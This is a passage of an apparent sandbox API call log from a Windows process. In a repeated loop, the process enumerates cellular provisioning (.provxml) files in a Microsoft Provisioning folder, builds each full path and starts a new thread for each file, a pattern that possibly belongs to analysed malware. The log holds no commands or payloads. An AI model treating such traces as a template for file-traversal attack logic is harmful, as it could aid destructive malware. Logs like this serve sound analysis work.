ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", cAlternateFileName="277__C~1.PRO")) returned 1 [0179.049] wcscmp (_String1="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.049] wcscmp (_String1="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3041fd8 [0179.049] wcscpy (in: _Dest=0x3041fd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.049] wcscat (in: _Dest=0x3041fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.049] wcscat (in: _Dest=0x3041fd8, _Source="277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\277__Connections_Cellular_KPN-Hi (Netherlands)_i1$(__MVID)@WAP.provxml" [0179.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3041fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0179.050] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", cAlternateFileName="278__C~1.PRO")) returned 1 [0179.050] wcscmp (_String1="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.050] wcscmp (_String1="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3042130 [0179.050] wcscpy (in: _Dest=0x3042130, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.050] wcscat (in: _Dest=0x3042130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.050] wcscat (in: _Dest=0x3042130, _Source="278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\278__Connections_Cellular_KPN-Hi (Netherlands)_i10$(__MVID)@WAP.provxml" [0179.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0179.051] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", cAlternateFileName="279__C~1.PRO")) returned 1 [0179.051] wcscmp (_String1="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.051] wcscmp (_String1="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.051] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3042d48 [0179.051] wcscpy (in: _Dest=0x3042d48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.051] wcscat (in: _Dest=0x3042d48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.051] wcscat (in: _Dest=0x3042d48, _Source="279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\279__Connections_Cellular_KPN-Hi (Netherlands)_i11$(__MVID)@WAP.provxml" [0179.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0179.052] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="27__CO~1.PRO")) returned 1 [0179.052] wcscmp (_String1="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.052] wcscmp (_String1="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.052] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x2f8f458 [0179.052] wcscpy (in: _Dest=0x2f8f458, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.052] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.052] wcscat (in: _Dest=0x2f8f458, _Source="27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\27__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" [0179.052] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0179.053] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", cAlternateFileName="280__C~1.PRO")) returned 1 [0179.053] wcscmp (_String1="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.053] wcscmp (_String1="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.053] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3042ea0 [0179.053] wcscpy (in: _Dest=0x3042ea0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.053] wcscat (in: _Dest=0x3042ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.053] wcscat (in: _Dest=0x3042ea0, _Source="280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\280__Connections_Cellular_KPN-Hi (Netherlands)_i12$(__MVID)@WAP.provxml" [0179.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0179.054] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", cAlternateFileName="281__C~1.PRO")) returned 1 [0179.054] wcscmp (_String1="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.054] wcscmp (_String1="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.054] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3043150 [0179.054] wcscpy (in: _Dest=0x3043150, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.054] wcscat (in: _Dest=0x3043150, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.054] wcscat (in: _Dest=0x3043150, _Source="281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\281__Connections_Cellular_KPN-Hi (Netherlands)_i13$(__MVID)@WAP.provxml" [0179.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0179.055] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", cAlternateFileName="282__C~1.PRO")) returned 1 [0179.055] wcscmp (_String1="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.055] wcscmp (_String1="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.055] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3042690 [0179.055] wcscpy (in: _Dest=0x3042690, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.055] wcscat (in: _Dest=0x3042690, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.055] wcscat (in: _Dest=0x3042690, _Source="282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\282__Connections_Cellular_KPN-Hi (Netherlands)_i14$(__MVID)@WAP.provxml" [0179.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0179.055] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2df, dwReserved0=0x0, dwReserved1=0x0, cFileName="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", cAlternateFileName="283__C~1.PRO")) returned 1 [0179.055] wcscmp (_String1="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.055] wcscmp (_String1="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.055] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3041bd0 [0179.056] wcscpy (in: _Dest=0x3041bd0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.056] wcscat (in: _Dest=0x3041bd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.056] wcscat (in: _Dest=0x3041bd0, _Source="283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\283__Connections_Cellular_KPN-Hi (Netherlands)_i15$(__MVID)@WAP.provxml" [0179.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3041bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0179.056] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", cAlternateFileName="284__C~1.PRO")) returned 1 [0179.056] wcscmp (_String1="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.056] wcscmp (_String1="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.056] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x30423e0 [0179.056] wcscpy (in: _Dest=0x30423e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.056] wcscat (in: _Dest=0x30423e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.056] wcscat (in: _Dest=0x30423e0, _Source="284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\284__Connections_Cellular_KPN-Hi (Netherlands)_i2$(__MVID)@WAP.provxml" [0179.056] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30423e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0179.057] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aa0698, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aa0698, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aa0698, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", cAlternateFileName="285__C~1.PRO")) returned 1 [0179.057] wcscmp (_String1="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.057] wcscmp (_String1="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.057] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3041a78 [0179.057] wcscpy (in: _Dest=0x3041a78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.057] wcscat (in: _Dest=0x3041a78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.057] wcscat (in: _Dest=0x3041a78, _Source="285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\285__Connections_Cellular_KPN-Hi (Netherlands)_i3$(__MVID)@WAP.provxml" [0179.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3041a78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0179.058] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", cAlternateFileName="286__C~1.PRO")) returned 1 [0179.058] wcscmp (_String1="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.058] wcscmp (_String1="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.058] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3042ff8 [0179.058] wcscpy (in: _Dest=0x3042ff8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.058] wcscat (in: _Dest=0x3042ff8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.058] wcscat (in: _Dest=0x3042ff8, _Source="286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\286__Connections_Cellular_KPN-Hi (Netherlands)_i4$(__MVID)@WAP.provxml") 